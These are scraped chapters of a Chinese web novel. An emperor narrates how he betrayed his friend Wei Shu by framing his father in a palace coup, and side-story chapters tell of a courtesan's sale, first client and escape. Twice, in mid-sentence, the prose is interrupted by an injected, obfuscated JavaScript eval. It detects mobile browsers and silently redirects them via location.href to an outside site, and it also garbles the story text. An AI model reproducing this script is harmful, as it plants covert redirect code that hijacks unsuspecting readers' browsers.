我不常承认例外。一个人一旦有了例外,便会有软肋。软肋给人看见,便要被人拿捏。可卫树那时年纪轻,也许还不懂拿捏;又或许他懂,却懒得用。他有一股叫人恼的坦荡。坦荡到他后来夜里坐在我对面,看见我揉眉心,便把茶推来,说:“棣昤,歇一刻。” 他偶尔敢这样叫我。 我第一次听见,抬眼看他。 他像是说完才觉出不妥,停了一瞬,却没请罪。那烛火照着他的脸,少年眉骨清朗,眼神直白。 我该斥他。可我只看了他一会儿,道:“人前不可如此。” 他嗯了一声。 后来无人时,他仍会叫。 我也再没纠正。 这事若叫史官知道,大约会写成少年君臣情厚。但情是无法衡量的东西,今日看着深厚,明日或许就不复存在。 我并不常同他说母妃的事。他也不问。可有一年祭日,我从灵前回来,在书房里坐了很久,他也陪着坐。那日雨很细,窗外石阶湿成一片。案上摆着书,我却一个字都没看进去。卫树坐在对面,也不说话,只把一盏热茶推到我手边。过了很久,他才道:“殿下若不想读,今日便不读。” 我看了他一眼。 他道:“一日不读,天塌不下来。” 我那时想笑,又没有笑。天自然不会塌。可人若松懈了一日,便是给自己开了懒惰的口子。我不能松懈。于是我仍旧翻开书,叫他陪我背完那一卷。他没有再劝,只坐在旁边听。听到我背错,他照旧提醒。那一夜我记得很清楚。不是因为书背得好,是因为我忽然发现,卫树这个人,竟能在我不愿说话的时候陪我坐着,又能在我继续用功时不拿怜悯看我。 后来他成了我最信的人。 这个“信”字,有些刺眼。可那时确是这样。裴家给我消息,朝中几位大人给我人脉,卫树给我判断。他父亲卫慬在军中威望极高,几位姊妹又嫁入各家,京中许多消息绕来绕去,总会传到卫树耳中。他不轻易开口,一旦开口,多半是要事。哪位兄长身边的人可收,哪位重臣言语虽温和,却绝不能近,哪位将领表面听命父皇,心里却早已厌了宫中反复,他都能替我得到消息。 我们常在深夜议事。 灯点到第三盏,书案上摊满名册、军报、各府来往。卫树坐在我身侧,袖口有时会压到我的衣摆。他看东西时喜欢微微低头,睫影落在纸上,手指沿着人名一点点移过去。若见我落笔太急,他便伸手按住纸角。 “慢些。” 我说:“你如今倒会管我。” 他道:“管不住殿下,至少管一管这笔。” 我冷着脸看他,他也看我。看了片刻,他先笑了。 卫树少年时是我一样都并非爱笑的人,可他在我面前,偶尔会松一口气。 这样的时辰太多,多到后来我险些以为原本就该如此。 他会在我手边添茶,会把我写废的纸收走,会因我一句话皱眉,也会指正我说的不妥。旁人都怕我不悦,只有他敢叫我不悦。更要命的是,我大多时候会听。 那几年,我上头的兄长们一个个露出相貌。 有人仗着母族,有人倚着旧臣,有人装得仁厚,暗地里却把手伸得很深。父皇老了,疑心更重,心也更狠。他看着我们彼此试探,像看一场能替他分辨儿子成色的考校。许多人以为父皇迟迟不立储,是慎重。慎重自然有,更多的却是他舍不得放。他坐在高处太久,便总觉得天下人都在等他闭眼。他不愿信谁,便把我们都放在眼前,任由我们彼此消耗。 我不觉得自己比兄长们更无辜。 我只是更明白,这样耗下去,最后能活下来的,不会是最仁厚的人。母妃当年死于宫斗,父皇装作不见。那件事之后,我便不再信高处的人会因善念停手。高处的人只会衡量。衡量谁还有用,谁已无用,谁能留下,谁该消失。我若不早些学会,迟早也会成为被衡量之后舍掉的那一个。 卫树知道我在想什么。 他从未劝我做一个纯良的人。他只问我:“殿下想做到哪一步?” 我说:“做到不会再有人越过我去。” 他看了我许久,道:“那便不能只等。” 从那以后,他替我做了许多事。 他帮我看京营中哪些人可动,帮我查卫家几位姊妹嫁入各府后各自听见了什么,帮我盯着几位兄长在军中、吏部、户部的来往。他最清楚卫家的分量,也最清楚这分量一旦偏向谁,便会招来多少目光。所以他做事很谨慎,从不把卫慬牵得太深。卫慬是大将军,是父皇手里最重的人之一,也是卫树的父亲。卫树心里有一条底线,我看得出来。他愿意帮我,却不愿叫卫慬卷入最后那场事。 我当时也答应了他。 我对他说,卫慬不会受损。若真到那一步,我会让人把卫慬隔在外头,不叫他入宫护驾,也不叫他站到几位兄长那边。卫树听完,只问我:“殿下能做到?” 我道:“能。” 他说:“棣昤。” 他很少在议事时这样叫我。我抬眼看他。 他道:“别骗我。” 那时灯火很低。他坐得很近,近到我能看见他眼底那一点红。也许是熬夜熬久了,也许是灯熏的。他看着我,像要我给一句比谋划、比权衡、比前程都更重要的答复。 我说:“不骗你。” 这话我说出口时,也许并不全是假。 人的许多许诺,未必一开始便是骗。只是局势往前推,原先能做的事,后来会变成不能做;原先看着多余的一环,后来会成为唯一能定局的那一环。卫慬太重了。他若不倒,父皇身边便始终有一支能号令京营旧部的人。父皇活着时,卫慬听父皇的;父皇若在乱中不明不白地死了,卫慬便会成为所有人都要争的名分。谁握住他,谁便能说自己才是正统护驾之人。 我不能把这张牌留给别人。 这些话,我没有同卫树说。 说了,他未必会拦我。可他一定会痛苦。卫树这个人,有时候正得叫人恼。他能替我算计兄长,也能替我布置人手,却仍旧守着一些很旧的东西。父子、君臣、恩义、名声。他不是不懂这些可以被牺牲,他只是不愿亲手把卫慬放进去。 我替他做了决定,这也是为他好。 那场宫变之前,京中已经乱到极处。父皇病中仍不肯放权,几位兄长各自调人,宫门内外到处都是眼睛。我让卫树守在外府,说是防几位兄长的人生变。实际上,我没有让他进宫。我知道他一旦进宫,见到卫慬在其中,许多事便做不下去。卫树适合与我同谋,不适合在那一刻亲眼看见结尾。 他走前来见我。 那时我已换了便服,案上放着几道密令。外头风很大,门被吹得轻轻响。卫树站在我面前,看了我很久。 “殿下今夜会很难。” 我道:“哪一夜不难。” 他没有笑。 他伸手替我把案上一枚镇纸挪正。那枚镇纸还是少年时他送我的,青玉,形制普通,却压纸好用。我用了很多年。他指尖在玉上停了一瞬,又收回去。 “我在外府。”他说,“若有变,传信给我。” 我看着他,点了头。 他又看我,像还有话。可最后什么也没说,只行了一礼。转身时,他袖口从我手背上擦过去。 那夜,宫中火起。 史书会写,卫慬拥兵入宫,意图谋逆,先皇惊怒而崩,我率兵护驾,平定乱局。 事实自然不止如此。 父皇死了。几位兄长也死了。卫慬也死了。 结果送到我面前时,我正在偏殿里换下染了血的外袍。内侍跪在地上,说卫慬已伏诛。我听完,点了点头,问:“卫树何在?” 他们说,卫公子仍在外府。 我当时松了一口气。 至少他没有在宫里。至少他没有亲眼看见。至少我还留给他一个能退的地方。人到那时,便会抓住这些“至少”,好叫自己看起来没有那么绝情。我也一样。我并非没有替卫树想过。我让他避开最后一夜,让他没有背上同父谋逆之名,也没有叫他当场选择父亲还是我。世上能替人留余地的人不多,我算留了。 至于卫慬的罪名,那是国事。 新君要登基,必须干净。先皇死于乱中,宫中诸皇子死于乱中,总要有一个足够重的人担下谋逆之名。卫慬最合适。他有兵权,有资格入宫护驾,也有足够分量叫天下信。他一旦成了叛臣,许多事便都有了解释。父皇的死,兄长们的死,宫中那一夜的血,都可以归到叛乱之中。我则是护驾之人,是平乱之人,是继承大统之人。 卫慬于我甚至有恩。他是卫树之父,也曾在父皇面前夸过我几句,说我性情沉稳,可堪历练。可国事到了那一步,恩义便要让开。我需要一个能让天下闭嘴的说法,也需要一个能让军中迅速低头的罪名。卫慬死了,比他活着更能定局。 登基之后,我召卫树入宫。 那时宫中血气早已散去,地砖洗过许多遍。 卫树进殿时,脸色很白。他没有穿孝,按礼,他不能为叛臣之父明着戴孝。他向我行礼。 “臣参见陛下。” 从前他叫我殿下,有时也会在无人时叫我棣昤。 如今他跪在我面前,称臣,称陛下。礼数没有错。只是我那一刻觉得刺耳。 我叫他起来。 他起身后,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637383|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头看我。我便先开口。 “卫慬之事,朕已命人定案。” 他手指在袖中轻轻动了一下。 我看见了。 “他既已伏诛,卫氏其余人等,朕不追究。”我道,“你虽是卫慬之子,朕知你未涉此事。朕仍旧会用你。” 多么宽厚。 叛臣之子,按旧例能活已是恩典,更不必说继续任用。我这样做,既是给卫树留体面,也是给卫家留余地。卫慬的几个女儿,有的已经因那一夜成了寡妇。几位兄长死后,她们的府中哭声不断。若我再追卫家,便太难看,也容易寒军中心。更何况,我的确不想杀卫树。 我是真的不想。 卫树终于抬头看我。 他道:“陛下隆恩,臣不敢受。” 我皱眉。 “你要什么?” 他道:“臣请辞。” 殿中安静下来。 我看着他,一时没有说话。他不骂我,不质问我,不问我当初如何答应他,也不问卫慬究竟怎么死。他只说请辞。 我宁愿他问。 他若问,我便能答。哪怕答得不好,也总有话可说。可他不问,便像是判了我无须辩解。一个人若连你的辩解都不肯听,便说明他心里已经有了定论。 我道:“卫树,朕说过,不追究卫家。” 他垂眼,“臣谢陛下。” “朕也说过,仍旧用你。” “臣才薄。” “你若才薄,这朝中便没有几个可用之人。” 他沉默。 我看着他那副样子,心里慢慢生出一点怒意。卫树凭什么这样站在我面前?他是我最信的人,他该最懂我。他该知道我为何这样做,也该知道那一夜若不是这样收束,今日坐在这里的人未必是我。若换了旁人,卫家只会更惨。他父亲已死,我至少留住了他,留住了卫氏余下的人,也留住了他日后还能立身的名分。 他凭什么不受? 可这些话不能说。说出口,便显得我在求他明白。 帝王不该求谁明白。 我只道:“你想清楚。出了京,便未必还能回来。” 卫树终于看向我。 他说:“臣想清楚了。” 那一瞬间,我忽然想起他年少时坐在我对面,把茶推给我,说一日不读,天塌不下来。想起他听我背书,听到错处便皱眉。想起他在许多深夜里同我推演局势,袖口贴着我的袖口,灯花落下来,他伸手替我拂开纸上的灰。想起他问我,殿下想做到哪一步。那时他坐得很近,灯照在他脸上,眼里没有如今这样的疏远。 我问:“你恨朕?” 他答得很快。 “臣不敢。” 我点了点头。 “准。” 卫树行礼谢恩,退了出去。 我坐在上首,看着他的背影被殿外日光吞进去,忽然觉得这一幕有些熟悉。棣铭离京时,也是这样走的。棣贤和亲时,也是这样走的。只是棣铭走时还会笑,棣贤走时还会回头看我一眼。卫树没有。 他连这一点都不肯留给我。 后来我按旨意处置卫氏。 卫慬既为叛臣,名分不能翻。可卫家余者,我没有再动。卫树离京,我赐了银,也赐了宅券。他没收宅券,银子收了一半,说途中所需,不敢辞。你看,他仍旧这样,连离开都要离得有分寸。卫氏几位女儿,有的守寡,有的归家,有的留在夫家。我让人按礼照看,没有叫她们再受牵连。朝臣看见,皆说新君仁厚,叛臣之家尚能保全。 他们说得没错。 至少在这件事上,我已算仁厚。 可卫树仍旧走了。 他离京后,最初几年我还能知道他在哪里。他去了南地,又转去西边,后来消息渐少,我也不再令人追得太紧。他既然想离京,便让他离。他既然不愿再见我,我又何必叫人频频送信去招他厌。 这也是我留给他的余地。 我一直这样认为。 只是有些夜里,我会想,若当初我真将卫慬隔在宫变之外,局势会如何?父皇会不会借卫慬反扑?几位兄长会不会另拥兵马?新朝会不会多流许多血?这些问题其实都有答案。卫慬必须死。那一夜必须有一个叛臣。没有卫慬,也会有别人。事情到了那一步,便没有更好的选择。 这话我能说服朝臣,也能说服史官,更能说服后世许多看重成败的人。 唯独说服不了卫树。 我有时恼他太执拗。卫慬是他的父亲,这一点自然重。可他也该明白,他父亲若活着,许多人都要死。他父亲若不担这罪名,新朝便要乱更久。卫树懂这些。他一定懂。正因他懂,他才更不能留下。留下,便要承认我对。走,便能保住他心里那点干净。 我成全了他。 也只能这样说。 若不这样说,便像是他不要我了。 我这一生送走许多人。母妃是被人夺去的,棣铭是自己飞出去的,棣贤是自己跪出去的。卫树不同。他是看着我,把我看清之后,自己转身走的。 这大约才是最难看的离别。 因为前头那些,我总能说出理由。母妃之死让我明白权柄,棣铭离京让我在京中少了一层牵扯,棣贤和亲让边境得了喘息,也叫父皇更重视我。卫树走了,却没有给我留下什么好处。或者说,也有。他走了,朝中少了一个知道太多真相的人。卫家余波也因此平息得更快。叛臣之子远离京城,比留在我身边更少惹人猜疑。 这样算,仍旧不亏。 我自然要这样算。 可若夜深时再想,便总会想起少年时的书房。灯不亮,他坐在我对面,听我把一卷书背完。外头雨声细,他把茶推来,说殿下今日不读也无妨。 后来我再也没有遇见过这样的人。 登基之后,许多人听我说话,许多人替我办事,也有许多人愿意为我去死。可那些人里,再没有卫树。没有人会从我手里抽走奏折,说陛下该歇一歇。也没有人敢在我说得不对时皱眉。帝王身边从不缺臣子,缺的是一个知道你原本什么样的人,还肯坐在你对面的人。 卫树走后,这个位置空了。 空着便空着。 皇帝身边本来也不该有这样的位置。 66.林鸯鸯1:青楼旧曲识残香[番外] 我很早就知道,人生来便不是一样的。 有人生下来有姓氏,有家门,有父兄给她照拂;有人生下来便连名字都不取,转手卖出去时,只在牙婆账上记一笔,女童一名,年岁若干,容貌尚可。 我属于后者。 我记不清自己最初叫什么。也许有过一个名字,也许没有。后来楼里的人叫我鸯鸯,说鸳鸯两个字好听,客人爱听。起名的人还笑,说姑娘家有了这样一个名字,命里总该沾些情意。我当时还小,不懂这话里有多少假,只觉得那两个字念起来总比牙婆喊我“丫头”好听。 我进的不是最下等的窑子。 下等地方只要人还能喘气,能接客,便算值钱;我进的那处楼,讲究些。姑娘要会走,要会笑,要会说话,要会弹唱几句,也要认字。老鸨说,男人花大价钱,买的不只是一个身子,还要买自己像个雅人的脸面。姑娘若只会脱衣裳,便卖不出好价。若会念两句诗,低头一笑,叫客人觉得自己懂风月,那银子便肯多掏几分。 所以我从很小便开始学。 天还没亮,楼里的嬷嬷便叫我们起身。先学站,背要直,肩不能塌,下巴不能扬得太高,也不能低得像犯错。再学走,裙摆不能乱,脚步要轻,转身时袖子要跟着人动。学完这些,又学笑。笑也分许多种。见生客要浅,见熟客要软,听客人说自己年轻时的旧事,要笑得像真觉得有趣。若客人说的是笑话,哪怕不好笑也要掩嘴装笑。 嬷嬷说,男人看女人,最先看脸,第二眼看眼睛。眼睛里若空,脸再好也少一半价。 于是我们学怎样让眼睛里有东西。 有时要有羞怯,有时要有崇拜,有时要有一点欲说还休的委屈。男人各有各的毛病,有人喜欢女子低头,有人喜欢女子顶嘴,有人把自己当才子,爱听旁人赞他诗好;有人明明粗鄙,却最怕旁人看出他粗鄙,便偏要姑娘陪他谈琴棋书画。楼里教我们的,并不只是怎样讨男人喜欢,更是怎样看出男人想要自己成为什么样的人。 这本事很有用。 后来我见过许多读书人,也见过一些官宦子弟。他们在楼里饮酒,说朝中某位大人如何识人,某位上官如何喜文章清正,某位贵人不爱听直话,要绕着说才高兴。他们说这些时,眉飞色舞,像在谈经世之道。我坐在旁边斟酒,心里却常常想,他们学的同我也没有差太远。 他们揣摩上位者,我揣摩客人。 他们写文章,要写到考官心里;我笑,要笑到客人心里。 他们说自己是才学,是抱负,是识时务;轮到女人这里,便成了下贱,成了狐媚,成了不知廉耻。 世上许多规矩,本就是这样。男人把自己做的事换一个好听名字,便能昂首挺胸。女人用同样的心思活下去,便要先被人啐一口。 我不认这个理。 我从不觉得靠美貌往上爬,比男人靠文章、靠口才、靠家门往上爬低多少。美貌也是本钱。有人天生嗓子好,有人天生会读书,有人天生记性强,我天生生了一张叫人愿意多看两眼的脸。既然老天只给了我这个,我便该把它用到极处。 楼里的姑娘也分等。 有的姑娘一来便哭,哭自己命苦,哭爹娘卖她,哭到嗓子哑了,第二日照样要被拖起来跟着大家学。有的姑娘性子烈,打翻饭碗,扯坏衣裳,夜里被关在柴房里饿一顿,出来后眼睛里便黯淡一些。也有的姑娘认命得快,嬷嬷教什么便学什么,客人喊什么便应什么,像一块湿布,谁拿起来都能拧出水。 我不是最听话的,也不是最烈的。 我只是学得快。 嬷嬷教我们认香,我能记住哪一种贵,哪一种俗,哪一种只闻着雅,其实便宜。教我们认客,我能分出谁是真有钱,谁是装阔,谁嘴上说会赎人,实则连明日酒钱都要赊。教我们抄曲词,我能抄得比旁人齐整。教我们弹琵琶,我弹得不算最好,却知道弹到哪一处该抬眼看人。 老鸨渐渐喜欢我。 她说我安静,不惹事,有脑子。这样的姑娘养出来,价钱高。 我听见这话时,并不难过。 她把我当货物,我也把她当梯子。她要从我身上赚钱,我也要借她教的东西往上走。谁也不比谁干净,谁也不必装作情深。 到了能挂牌的年纪,楼里替我办了一场小宴。 那日我穿一身浅杏色衣裳,头上戴两支珍珠钗。嬷嬷替我上妆时,手依旧熟练。她说鸯鸯,你这张脸好,别糟蹋。今日来的客人里,有两位是常给楼里捧场的公子,还有一位外地商人,出手阔。你不必急着笑,也不必显得太怕。怕太多,男人兴奋一阵便过了;若叫他们觉得你心里有一层东西,他们反倒惦记得久些。 我坐在镜前,看着镜中那张脸。 脸上敷了粉,眉被描细,唇上点了一点胭脂。那张脸美得有些陌生,却确实是我的。我明白,从那日起,我身上最值钱的东西终于要被拿出来估价了。 我从没真心哭过。 楼里不缺哭声。夜里哭,白日哭,接客前哭,接客后哭。哭多了,人只会先烦,再麻木。客人不会因为你哭便少摸你一下,老鸨不会因为你哭便少收一分银子。嬷嬷说,眼泪要留着有用时再掉。掉给会心疼的人,才值钱。掉给不会心疼的人,只是添笑话。 那一夜,我更加理解了这句话。 客人来时,我坐在帘后弹琵琶。弹曲子的手艺不算顶尖,胜在手指细,胜在低着头时露出的那一点侧脸。有人掀帘进来,酒气先到了跟前。我抬眼看他,先看衣料,再看腰间玉佩,最后看他的眼睛。那双眼睛里有兴致,也有一点等着看我惊慌的轻慢。 我把手从弦上收回来,起身行礼,声音放得很轻。 “公子来了。” 他愣了一下,随即笑了。 那一笑,我便知道自己做对了。 后来发生的事,没有什么好细说。世上许多女人都经历过这样的夜,只是有人在洞房里,有人在青楼的帐子后。外头给这些事起了不同的名字,里头的人究竟愿不愿意,其实没有多少人在乎。 那夜之后,我坐在床边很久。 窗外天快亮,楼下已经有人起来洒水。嬷嬷进来看我,问我还撑得住吗。我说撑得住。她看了我一会儿,像有些意外,又有些满意,递给我一盏热茶。 “以后便好了。”她说,“过了头一回,后头总会容易些。” 我接过茶。 茶水很烫,入口苦。我慢慢喝下去,心里想,后头不会容易。只是我会更会装。 从那以后,我开始接客。 我接过许多种男人。 年轻公子最爱谈情。他们说自己不似旁人,不把青楼女子当玩物。他们会替我写诗,会在酒后握着我的手,说若我生在好人家,定也是闺阁佳人。我听着,常常会笑。他们说这些时是真心吗?或许有一瞬是真。可真心若只能在酒后和帐中出现,天亮后便要收回去,那东西也不必看得太重。 商人爱谈价。 他们看珠宝,看绸缎,也看女人。他们夸人时常像估货,说这姑娘眉眼好,腰身也好,若带到某地,价钱还能翻。这样的人倒不叫我厌烦。至少他们明白买卖是买卖,不拿情字遮羞。 读书人最麻烦。 他们来青楼,又要嫌青楼脏;摸着姑娘的手,又要叹女子命苦;花了银子听曲,酒后还要说一句风尘误人。他们最爱替我们伤春悲秋,像只要他们叹过一声,我们身上的苦便成了他们诗里的雅意。 我不喜欢他们。 可我最会应付他们。 因为他们最好骗。 只要在他们吟诗时低头,听到妙处抬眼,说一句“公子这句真好”,他们便会觉得你是知己。若再问一句典故出自何处,他们更高兴。男人的自负,有时比欲望更好哄。 我在楼里一日一日长大,慢慢也有了名声。 鸯鸯姑娘性子静,会听人说话,眼神柔,笑起来不轻浮。有人说我不像楼里的姑娘,像落难的书香小姐。我听见这话,总要在心里笑。书香小姐若真落到这里,用不了多久,也会学会同我一样的本事。人所谓气质,多半靠日子养,也靠日子磨。好日子养出端庄,坏日子磨出眼色。 我不恨美貌。 楼里许多姑娘恨自己的脸。她们说若生得丑些,兴许不会被卖到这里。可我知道,丑也未必能逃。丑有丑的苦,美有美的苦。美貌至少还能换银子,换衣裳,换一个更好些的房间,换老鸨在你病时愿意请一次大夫。若命运已经如此糟糕,能多一件可用的东西,便不该嫌它脏。 我更不恨自己会讨好人。 讨好上位者,本就是活法。 朝堂上那些大人,谁不是这样?他们穿朝服,戴官帽,在金殿里说天下,说黎民,说道义,可他们说话前也要先看皇帝的脸色。皇帝喜简,他们便少写;皇帝喜直,他们便装直;皇帝忌讳什么,他们便绕开什么。若说这叫本事,那么我在酒桌上看客人脸色,也该叫本事。 只是他们讨好的是皇帝,是权臣,是能给官位的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640394|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 我讨好的是花钱买我的男人。 他们便觉得自己高我一等。 我偏不这样觉得。 我一直想往上爬。 这念头在很早很早的时候便从心底冒了头。起初只是想吃饱,想穿暖,想不被打。后来想住好些的房间,想少接一些粗鄙的客,想让嬷嬷对我说话轻些。再后来,我见过那些真正的贵人,看他们身边随从成群,看老鸨在他们面前低声下气,看平日里不可一世的客人到了他们跟前也要弯腰,我便想,原来人还可以站到那样高的地方。 站得高了,才有人怕你。 站得高了,自己才可以少怕些。 我不想一辈子在楼里等人挑。 楼里的姑娘年岁大得很快。十六七岁是一种价,二十岁又是一种价,过了二十五,若没有人赎,没有攒下钱,没有被老鸨另派用处,便会被更年轻的脸挤下去。有的做嬷嬷,有的转到下等地方,有的病了,悄悄死在后院。死后用一床草席卷出去,连楼里的灯都不会少点一盏。 我看过这样的结局。 所以我从不信“以后便好了”。 以后不会自己好。人若不往上爬,只会被往下踩。 可要往上爬,也要等机会。 机会不会写在脸上。它常常藏在一场酒、一句话、一个忽然经过的人身上。楼里教我们看男人,我后来便学着看所有人。看谁有用,谁无用;谁只是嘴上贵,谁手里真有权;谁能给一点银子,谁能给一条新命。 很多年里,我都没有等到真正能改变命的人。 一直等到楼散那年。 那段时间乱得很。楼里得罪了不该得罪的人,老鸨原先靠着的关系倒了,债主上门,牙婆也来了。姑娘们被一批一批估价,有人哭,有人求,有人夜里想逃,被抓回来后打得半死。我那时已经不是最年轻的,却仍值钱。牙婆看我的脸,说这样的货色,转去别处还能卖高价。 我听见“货色”两个字时,竟没有什么感觉。 人若被叫得久了,也会习惯。 我只是在想,下一处会不会比这里更糟。 后来我逃了。 那日下雨,后门看守喝醉,院里乱成一团。我从存放旧衣的屋子里换了件灰扑扑的布衫,脸上抹了灰,趁人搬箱笼时钻出去。跑到河边时,鞋掉了一只,脚底被石子划破。我不敢停,沿着河岸一直走,走到眼前发黑,才扶着一棵柳树坐下。 雨水落在脸上,很冷。 我那时忽然想笑。 我学了这么多年,记了那么多客人的喜好,背了那么多曲词,练了那么久笑,到头来逃命时也不过是一身湿衣、一只破鞋、一张抹脏的脸。所谓美貌,在那一刻连一个馒头都换不来。 可我仍旧不后悔有它。 因为我知道,只要活着,这张脸便总还有用。 天快黑时,有人停在我面前。 我抬头,看见一个女子。她穿得不算华丽,眉眼却很活,站在雨里,手里撑着一把旧伞。她低头看我,眼神里有怜悯,也有警惕。 “你从哪儿逃出来的?”她问。 我没有答。 她看了我一会儿,又问:“还走得动吗?” 我仍旧没有答。 她忽然笑了一声,“不答便不答。能喘气就行。” 后来我才知道,她叫桃枝。 那一日,她把我带回了广陵城南那处宅子。屋里有一群女人,有人给我热水,有人找旧衣,有人看着我的脸叹气,说这样的相貌,若再被牙婆捡去,必定又要送回楼里。桃枝站在门边,听了这话,脸色沉了沉。 我坐在床边,手里捧着一碗热粥。 粥很薄,米少得可怜,可那是我那几日喝到的第一口热东西。 桃枝问我:“叫什么?” 我说:“鸯鸯。” “姓呢?” 我摇头。 桃枝看了我一会儿,没有再问。 她道:“先住下吧。” 我低头喝粥,热气熏到眼睛,眼前有些模糊。我还是没有哭出来。哭太容易叫人误会,好像我从此便能把自己交给旁人的善心。善心是好东西,却不能拿来当饭吃,更不能拿来当命靠。 我感激桃枝。 这一点是真的。 可那一晚,我躺在旧被子里,听着屋外雨声,心里想的并不只是感激。 我想,我又活下来了。 只要活下来,便还有机会往上走。 67.林鸯鸯2:春馆灯昏记旧妆[番外] 桃枝是我见过最傻的老鸨。 我在楼里见过许多管女人的人。她们有的凶,有的笑里藏针,有的会哄人,有的只会打人。可不管哪一种,心里都清楚一件事:姑娘是本钱,本钱要用,要压,要榨,要趁着还能卖好价时多卖几回。若有姑娘病了,便看她还值不值得请大夫;若有姑娘闹了,便看她还有没有调教的余地。真到了不能挣钱的时候,便寻个牙婆,转到别处去,眼不见心不烦。 桃枝偏不这样。 她明明自己也是从楼里出来的女人,明明早被那些年熬空了身子,却偏要学人做个有良心的妈妈。客人来了,她先挑,醉得不像话的不要,手脚不干净的赶出去,给银子再多,若把人打伤了,她也敢沉着脸叫人滚。院里谁病了,她让歇。谁实在不愿接,她也不逼,只把账本翻得哗哗响,嘴里骂一句日子难过,转头自己又去前堂陪酒。 她自己接得最多。 有时夜深了,我从屋里出来倒水,能看见她扶着廊柱站一会儿。灯光从前堂漏出来,落在她脸上,粉已经花了,唇色也淡,人却还要笑。见我看她,她便先开口:“鸯鸯,怎么还不睡?年轻姑娘熬夜,脸要坏的。” 她说这话时,自己眼下青得像两道墨影。 我那时常想,她真傻。 她明明知道这世道不会因为她肯心软,便少咬她一口。她护着这个,护着那个,到最后护不住自己。这样的老鸨,若放在从前那座楼里,三个月都撑不下去。可这座院子里的人偏都听她。阿月嘴上嫌她啰嗦,夜里却总给她留热水。阿盲眼睛不好,摸着墙也要替她分线。越心更是,一面骂她不会算账,一面把那些撒泼的客人挡在门外。 这座院子很奇怪。 它明明仍是卖笑的地方,夜里仍有男人进门,仍有酒气、脂粉气、那些叫人厌烦的笑声。可白日里,它又像一处被勉强拼起来的家。有人吵,有人骂,有人护着谁,有人替谁留一口饭。 我最初只想暂时留下。 我逃出来时身上没有银子,没有干净衣裳,也没有可以去的地方。桃枝救我,我自然感激。可感激归感激,可要把一辈子放在这座破宅里,我可不愿意。 所以我住下后,一直在看。 看这院里有没有出路,看桃枝能撑多久,看这些女人还能不能重新过上正经日子。看了几日,我心里便有了数。这里没比之前好到哪里去,像一处浅坑,人站在这里,不至于立刻淹死,却也上不了岸。 直到有一日,桃枝同我说起那位公子。 那天傍晚,她在灶间门口择菜。菜叶子有些蔫,她一边挑坏叶,一边同阿月拌嘴,说买菜的人眼睛是瞎的,这样的菜也敢往回拿。阿月不服气,说菜贩子一听是春宜馆的人,价钱便不肯压。桃枝骂了两句,骂完又叹气。 我坐在旁边分药纸,随口问:“这院子是你买下的?” 桃枝说:“哪有那本事。是一个贵公子赁的。” 她说这话时,语气一下不一样了。 我抬头看她。 她说那位贵公子从前怎样进东边巷子,怎样替她们赎身,怎样替她换良籍,又怎样赁下这座宅子,留银子给她们过日子。她说话时,平日里那点难得泼辣收起来了。 我问:“公子姓什么?” 桃枝摇头。 “不知道。” 我愣了一下。 “你不知道?” “他没说。”桃枝道,“我们也没敢问。” 我低头笑了笑。 这倒更像贵人了。救人,给钱,办事,转身离开,连姓氏都不必留下。底下的人记他一辈子,他却未必记得底下人的脸。 桃枝却没看出我笑里的意思,只继续道:“他走的时候说,会再回来看看。” 我把药纸折好。 “多久前走的?” “两年多了。” “那还会回来吗?” 桃枝手里的菜叶停了一下。 过了片刻,她说:“会吧。” 这两个字,她说得并不肯定。 我没有再问。 两年多,足够一个贵人忘掉许多事。救人时一时心软,花些银子,留几句好听话,过后回到自己的锦绣日子里,哪里还会记得广陵城南这个破宅子?我见过太多男人在床帐里许诺,说要赎人,说要娶人,说要带人走,完事后鞋都穿得比谁快。贵人比他们体面些,忘事时大约也更体面。 可我还是把这个公子记住了。 若桃枝没有夸大,那位公子便不是寻常人。他有钱,有门路,能办良籍,能把这么多女人带出来。这样的人,比春宜馆里其他任何一个客人都更有用。 我那时还没有别处可去。 所以我留下来。 自然,也不全是因为他。 这话我后来想过许多次,每次都觉得烦。人若把自己说得太冷漠,便会显得清醒;可有些事一旦想深了,又显得自己并没有那么清醒。 我留下来的那半年,日子过得并不轻省。 春宜馆夜里开门,白日里便像另一处地方。有人洗衣,有人熬药,有人算米钱。阿盲摸着墙走,常常把木盆碰翻。阿月嘴快,什么话都敢往外倒。小铃年纪轻,夜里还要陪笑,白日里坐在廊下打瞌睡,脑袋一点一点,像随时会栽进针线篮里。 越心最忙。 她不是这院子的妈妈,却比妈妈还像管事的人。桃枝夜里在前堂耗得太狠,白日里常常起不来,越心便替她看账,替她催药,替她骂那些拿了东西不给钱的混账。有客人白日里还敢来门外叫门,越心一把将门闩拍得震天响,隔着门便能骂半条街。她骂完回来,又把账本往桌上一摔,说这世道真该烂透了。 桃枝听见,便在床里笑。 “你这张嘴,日后若去开店,能把客人都骂跑。” 越心道:“那也比你笑着把自己卖死强。” 这话很难听。 桃枝却只笑笑,说:“行,等哪天真有店给你开,你就去当老板娘。” 越心翻了个白眼,“做梦吧。” 我坐在旁边帮着写账,没有说话。 我会认字,便常替她们看药方、看账本、看客人留下的欠条。 起初她们还有些不好意思,后来便习惯了。阿月拿着一张皱巴巴的纸跑来问我,上头写的到底是三十文,还是五十文。我看完说五十。她便立刻跳起来,说我就知道那姓钱的不是好东西,写得跟蚯蚓爬似的,原来是想赖账。 我有时也教她们认几个字。 